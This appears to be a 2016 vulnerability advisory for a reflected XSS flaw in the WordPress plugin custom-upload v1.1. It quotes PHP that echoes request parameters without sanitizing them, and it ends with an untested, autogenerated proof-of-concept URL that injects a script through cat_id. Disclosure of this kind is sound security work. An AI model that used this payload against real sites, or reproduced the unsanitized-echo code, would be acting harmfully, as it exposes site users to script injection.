Advisory #: 837
Title: Reflected XSS in wordpress plugin custom-upload v1.1
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/custom-upload
Downloads: 1381
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: custom-upload
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./custom-upload/custom_upload.php: 326: <div class="row-actions"><span class="edit"><a href="admin.php?page=add-item&cat_id=<?php echo $_REQUEST['cat_id']?>&id=<?php echo $sel_q_data['id'];?>&action=edit&type=item">Edit</a> | </span><span class="delete"><a href="admin.php?page=add-item&cat_id=<?php echo $_REQUEST['cat_id']?>&id=<?php echo $sel_q_data['id'];?>&action=delete&type=item" class="delete-tag" onclick="return deleteItem(<?php echo $sel_q_data['id'];?>);">Delete</a></span></div> 368: <input name="id" value="<?php echo $_REQUEST['id'];?>" type="hidden" /> <input name="cat_id" value="<?php echo $_REQUEST['cat_id'];?>" type="hidden" /> The variable cat_id appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./custom-upload/custom_upload.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/custom-upload/custom_upload.php?cat_id="><script>alert(1);</script><"